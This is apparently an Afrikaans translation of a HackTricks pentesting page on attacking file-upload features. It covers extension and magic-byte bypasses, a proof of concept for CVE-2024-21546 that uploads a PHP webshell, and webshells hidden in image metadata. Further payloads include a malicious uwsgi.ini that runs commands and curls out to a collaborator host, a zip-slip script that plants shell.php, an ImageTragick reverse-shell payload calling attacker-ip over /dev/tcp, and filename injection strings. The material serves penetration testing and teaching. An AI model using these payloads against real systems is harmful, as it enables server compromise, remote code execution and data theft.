Lêeroplaai
Reading time: 21 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Algemene metodologie vir lêeroplaai
Other useful extensions:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Omseil kontroles op lêeruitbreidings
- As dit van toepassing is, kontroleer die vorige extensies. Toets hulle ook deur sommige hoofdletters te gebruik: pHp, .pHP5, .PhAr ...
- Kontroleer om 'n geldige extensie voor die uitvoeringsextensie by te voeg (gebruik ook die vorige extensies):
- file.png.php
- file.png.Php5
- Probeer om spesiale karakters aan die einde by te voeg. Jy kan Burp gebruik om alle ascii en Unicode karakters te bruteforce. (Let wel dat jy ook die vorige genoemde extensies kan probeer.)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Probeer om die beskermings te omseil deur die server-side extension parser te mislei met tegnieke soos doubling die extension of adding junk data (null bytes) tussen extensies. Jy kan ook die vorige extensies gebruik om 'n beter payload voor te berei.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Voeg nog 'n laag extensies by die vorige toets:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Probeer om die exec extension voor die geldige extensie te plaas en hoop dat die bediener verkeerd gekonfigureer is. (nuttig om Apache misconfigurasies uit te buit waar enigiets met die extensie .php, maar nie noodwendig eindigend in .php nie, kode sal uitvoer):
- ex: file.php.png
- Gebruik NTFS alternate data stream (ADS) in Windows. In hierdie geval sal 'n kolonkarakter ":" ingevoeg word na 'n verbode extensie en voor 'n toegelate een. As gevolg daarvan sal 'n leë lêer met die verbode extensie op die bediener geskep word (bv. "file.asax:.jpg”). Hierdie lêer kan later geredigeer word met ander tegnieke soos die gebruik van sy kort lêernaam. Die "::$data” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon te voeg om verdere beperkings te omseil (bv. "file.asp::$data.”)
- Probeer om die lêernaamlimiete te breek. Die geldige extensie word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Sommige upload handlers sny of normaliseer puntkarakters aan die einde van die gestoorde lêernaam. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) weergawes voor 2.9.1 kan jy die extensie-validasie omseil deur:
- Deur 'n geldige image MIME en magic header te gebruik (bv. PNG se
\x89PNG\r\n\x1a\n
). - Die opgelaaide lêer te noem met 'n PHP-extensie gevolg deur 'n punt, bv.
shell.php.
. - Die bediener verwyder die agtervoegende punt en bewaar
shell.php
, wat sal uitvoer as dit in 'n web-aangewese gids geplaas word (standaard public storage soos/storage/files/
).
Minimal PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Roep dan die gestoorde pad aan (tipies in Laravel + LFM):
GET /storage/files/0xdf.php?cmd=id
Mitigasies:
- Werk op unisharp/laravel-filemanager na ≥ 2.9.1.
- Dwing streng server-side allowlists af en valideer die gestoorde lêernaam weer.
- Bedien uploads vanaf nie-uitvoerbare liggings.
Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass Content-Type checks deur die value van die Content-Type header te stel op: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Bypass magic number check deur aan die begin van die lêer die bytes van 'n werklike beeld by te voeg (om die file command te mislei). Of plaas die shell in die metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- As kompressie by jou beeld toegepas word, byvoorbeeld deur sommige standaard PHP-biblioteke soos PHP-GD, sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die PLTE chunk technique defined here gebruik om teks in te voeg wat kompressie sal oorleef.
- Github with the code
- Die webblad kan die image ook resize, byvoorbeeld met die PHP-GD funksies
imagecopyresized
ofimagecopyresampled
. Jy kan egter die IDAT chunk technique defined here gebruik om teks in te voeg wat kompressie sal oorleef. - Github with the code
- Nog 'n tegniek om 'n payload te maak wat 'n beeld-hergrootting oorleef, gebruik die PHP-GD funksie
thumbnailImage
. Jy kan egter die tEXt chunk technique defined here gebruik om teks in te voeg wat kompressie sal oorleef. - Github with the code
Other Tricks to check
- Vind 'n kwesbaarheid om die reeds opgelaaide lêer te hernoem (om die uitbreiding te verander).
- Vind 'n Local File Inclusion kwesbaarheid om die backdoor uit te voer.
- Moontlike inligtingslek:
- Laai die selfde lêer meermale (en op die selfde tyd) op met dieselfde naam.
- Laai 'n lêer op met die naam van 'n lêer of gids wat reeds bestaan.
- Laai 'n lêer op met "." , "..", of "..." as sy naam. Byvoorbeeld, in Apache op Windows, as die toepassing die opgelaaide lêers in "/www/uploads/" directory stoor, sal die "." lêernaam 'n lêer genaamd "uploads" in die "/www/" directory skep.
- Laai 'n lêer op wat nie maklik verwyder kan word nie, soos "...:.jpg" in NTFS. (Windows)
- Laai 'n lêer op in Windows met ongeldige karakters soos
|<>*?”
in die naam. (Windows) - Laai 'n lêer op in Windows met gereserveerde (verbode) name soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Probeer ook om 'n uitvoerbare lêer op te laai (.exe) of 'n .html (minder verdag) wat kode sal uitvoer wanneer dit per ongeluk deur 'n slagoffer geopen word.
Spesiale uitbreidings-trieke
As jy probeer om lêers na 'n PHP server op te laai, take a look at the .htaccess trick to execute code.
As jy probeer om lêers na 'n ASP server op te laai, take a look at the .config trick to execute code.
Die .phar
lêers is soos die .jar
vir java, maar vir php, en kan soos 'n php-lêer gebruik word (uitgevoer met php, of ingesluit in 'n script...).
Die .inc
uitbreiding word soms gebruik vir php-lêers wat net gebruik word om lêers te importeer, so op 'n stadium kan iemand hierdie uitbreiding toegelaat het om uitgevoer te word.
Jetty RCE
As jy 'n XML-lêer na 'n Jetty server kan oplaai, kan jy RCE because new *.xml and *.war are automatically processed. Soos in die volgende beeld vermeld, laai die XML-lêer na $JETTY_BASE/webapps/
en verwag die shell!
uWSGI RCE
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: uWSGI RCE Exploitation.
Remote Command Execution (RCE) kwetsbaarhede kan op uWSGI servers uitgebuit word as iemand die vermoë het om die .ini
konfigurasielêer te wysig. uWSGI-konfigurasielêers gebruik 'n spesifieke sintaks om "magic" veranderlikes, placeholders, en operateurs in te sluit. Besonder is die '@' operateur, gebruik as @(filename)
, wat bedoel is om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI is die "exec" skema besonder kragtig, omdat dit toelaat om data vanaf 'n proses se standaarduitset te lees. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n .ini
konfigurasielêer verwerk word.
Oorweeg die volgende voorbeeld van 'n skadelike uwsgi.ini
lêer, wat verskeie skemas demonstreer:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Die uitvoering van die payload gebeur tydens die parsing van die configuration file. Om die configuration te aktiveer en te parse, moet die uWSGI-proses óf herbegin word (moontlik na 'n crash of as gevolg van 'n Denial of Service attack) óf die lêer moet op auto-reload gestel word. Die auto-reload-funksie, indien aangeskakel, reload die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word.
Dit is noodsaaklik om die los aard van uWSGI se configuration file parsing te verstaan. Spesifiek kan die genoemde payload in 'n binary file (soos 'n image of PDF) ingevoeg word, wat die omvang van potensiële exploitasiemoglikhede verder vergroot.
wget File Upload/SSRF Trick
In sommige gevalle sal jy vind dat 'n server wget
gebruik om download files
en jy kan die URL
aandui. In sulke gevalle mag die code kontroleer dat die uitbreiding van die gedownloade lêers op 'n whitelist is om te verseker dat slegs toegelate lêers gedownload word. However, this check can be bypassed.
Die maksimum lengte van 'n lêernaam in linux is 255, maar wget verkort die lêernaam tot 236 karakters. Jy kan download a file called "A"*232+".php"+".gif", hierdie lêernaam sal die bypass die check (soos in hierdie voorbeeld ".gif" 'n valid uitbreiding is) maar wget
sal die lêer rename na "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Noteer dat 'n ander opsie waaraan jy dalk dink om hierdie kontrole te omseil, is om die HTTP server na 'n ander lêer te herlei, sodat die aanvanklike URL die kontrole omseil maar wget dan die herlei lêer met die nuwe naam sal aflaai. Dit sal nie werk nie tensy wget gebruik word met die parameter --trust-server-names
omdat wget die herlei bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai.
Tools
- Upload Bypass is 'n kragtige hulpmiddel ontwerp om Pentesters en Bug Hunters te help met die toets van file upload-meganismes. Dit maak gebruik van verskeie bug bounty techniques om die proses van die identifisering en benutting van vulnerabilities te vereenvoudig, en verseker deeglike assesserings van web applications.
Corrupting upload indices with snprintf quirks (historical)
Sommige legacy upload handlers wat snprintf()
of soortgelyke funksies gebruik om multi-file arrays uit 'n single-file upload te bou, kan mislei word om die _FILES
struktuur te vervals. As gevolg van inkonsekwenthede en afkap in die gedrag van snprintf()
, kan 'n noukeurig saamgestelde enkele upload aan die bedienerkant as verskeie geïndekseerde lêers voorkom, wat logika wat 'n streng vorm aanvaar in die war stuur (bv. dit as 'n multi-file upload beskou en onveilige takke volg). Al is dit vandag nis, duik hierdie “index corruption” patroon soms weer op in CTFs en ouer kodebasisse.
Van lêeroplaai na ander kwesbaarhede
- Stel filename op
../../../tmp/lol.png
en probeer 'n path traversal bereik - Stel filename op
sleep(10)-- -.jpg
en jy mag in staat wees om 'n SQL injection te bewerkstellig - Stel filename op
<svg onload=alert(document.domain)>
om 'n XSS te bewerkstellig - Stel filename op
; sleep 10;
om sekere command injection te toets (more command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Probeer different svg payloads van https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- As jy die webserver kan opdrag gee om 'n image vanaf 'n URL te haal, kan jy probeer om 'n SSRF te misbruik. As hierdie image na 'n public webwerf gestoor gaan word, kan jy ook 'n URL van https://iplogger.org/invisible/ aandui en sodoende inligting van elke besoeker steel.
- XXE and CORS bypass with PDF-Adobe upload
- Spesiaal samengestelde PDFs vir XSS: Die following page present how to inject PDF data to obtain JS execution. As jy PDFs kan oplaai, kan jy 'n PDF voorberei wat arbitraire JS sal uitvoer volgens die gegewe aanwysings.
- Laai die [eicar](https://secure.eicar.org/eicar.com.txt) inhoud op om te kontroleer of die bediener enige antivirus het
- Kontroleer of daar enige size limit is wanneer lêers opgelaai word
Hier is 'n top 10 lys van dinge wat jy deur oplaai kan bereik (from here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
- JPG:
"\xff\xd8\xff"
Verwys na https://en.wikipedia.org/wiki/List_of_file_signatures vir ander filetypes.
Zip/Tar-lêer wat outomaties gedekomprimeer word tydens oplaai
As jy 'n ZIP kan oplaai wat op die bediener gedekomprimeer gaan word, kan jy twee dinge doen:
Symlink
Laai 'n archive op wat soft links na ander lêers bevat; wanneer jy toegang kry tot die gedekomprimeerde lêers, sal jy toegang kry tot die gekoppelde lêers:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Ontpak in verskillende gidse
Die onverwagte skepping van lêers in gidse tydens uitpak is 'n beduidende probleem. Ondanks aanvanklike aannames dat hierdie opstelling moontlik teen OS-level command execution via malicious file uploads sal beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP-argiefformaat misbruik word. Dit stel attackers in staat om beperkings te omseil en uit veilige upload directories te ontsnap deur die uitpakfunksionaliteit van die geteikende toepassing te manipuleer.
'n Geautomatiseerde exploit om sulke lêers te skep is beskikbaar by evilarc on GitHub. Die utility kan soos volg gebruik word:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Verder is die symlink trick with evilarc 'n opsie. As die doelwit is om 'n lêer soos /flag.txt
te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute teëkom tydens sy werking nie.
Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Abusing compression for file spraying
Vir verdere besonderhede kyk na die oorspronklike pos by: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: PHP-kode word geskryf om opdragte uit te voer wat deur die
$_REQUEST
-veranderlike deurgegee word.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: Verskeie lêers word geskep en 'n zip-argief word saamgestel wat hierdie lêers bevat.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: Die name van die lêers binne die zip word met vi of 'n hex editor gewysig, deur "xxA" na "../" te verander om gidsstrukture te deurkruis.
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
Laai hierdie inhoud op met 'n image-uitbreiding om die kwesbaarheid uit te buit (ImageMagick, 7.0.1-1) (vanaf die exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Insluiting van PHP Shell in PNG
Die insluiting van 'n PHP shell in die IDAT-chunk van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies imagecopyresized
en imagecopyresampled
van PHP-GD is besonder relevant in hierdie konteks, aangesien hulle algemeen gebruik word vir die verander van grootte en herbemonstering van beelde. Die vermoë van die ingeslote PHP shell om ongeskonde te bly deur hierdie operasies is 'n beduidende voordeel vir sekere gebruiksgevalle.
'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en moontlike toepassings, word verskaf in die volgende artikel: "Encoding Web Shells in PNG IDAT chunks". Hierdie hulpbron bied 'n omvattende begrip van die proses en die implikasies daarvan.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Files
Polyglot files dien as 'n unieke hulpmiddel in cybersecurity, en tree op soos kameleons wat geldig in meerdere lêerformate terselfdertyd kan bestaan. 'n Interessante voorbeeld is 'n GIFAR, 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers beperk zich nie tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook uitvoerbaar.
Die kern nut van polyglot files lê in hul vermoë om sekuriteitstelsels te omseil wat lêers op grond van tipe sifting. Algemene praktyk in verskeie toepassings is om slegs sekere lêertipes vir upload toe te laat—soos JPEG, GIF, of DOC—om die risiko van potensieel gevaarlike formate (bv. JS, PHP of Phar lêers) te beperk. 'n Polyglot, deur te voldoen aan die strukturele kriteria van meerdere lêertipes, kan egter stilletjies hierdie beperkings omseil.
Ten spyte van hul aanpasbaarheid, het polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot terselfdertyd 'n PHAR-lêer en 'n JPEG kan beliggaam, kan die sukses van die upload afhang van die platform se beleid oor lêeruitbreidings. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote strukturele tweespalt van 'n polyglot nie voldoende wees om die upload te waarborg nie.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Upload valid JSONs like if it was PDF
Hoe om lêertipe-detektering te omseil deur 'n geldige JSON-lêer op te laai, selfs al is dit nie toegelaat nie, deur 'n PDF-lêer te faksimeer (tegnieke van this blog post):
mmagic
library: Solank die%PDF
magic bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld uit die post)pdflib
library: Voeg 'n vals PDF-formaat binne 'n veld van die JSON by sodat die biblioteek dink dit is 'n pdf (kry voorbeeld uit die post)file
binary: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n json kan parse nie en sit dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dit is 'n PDF
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.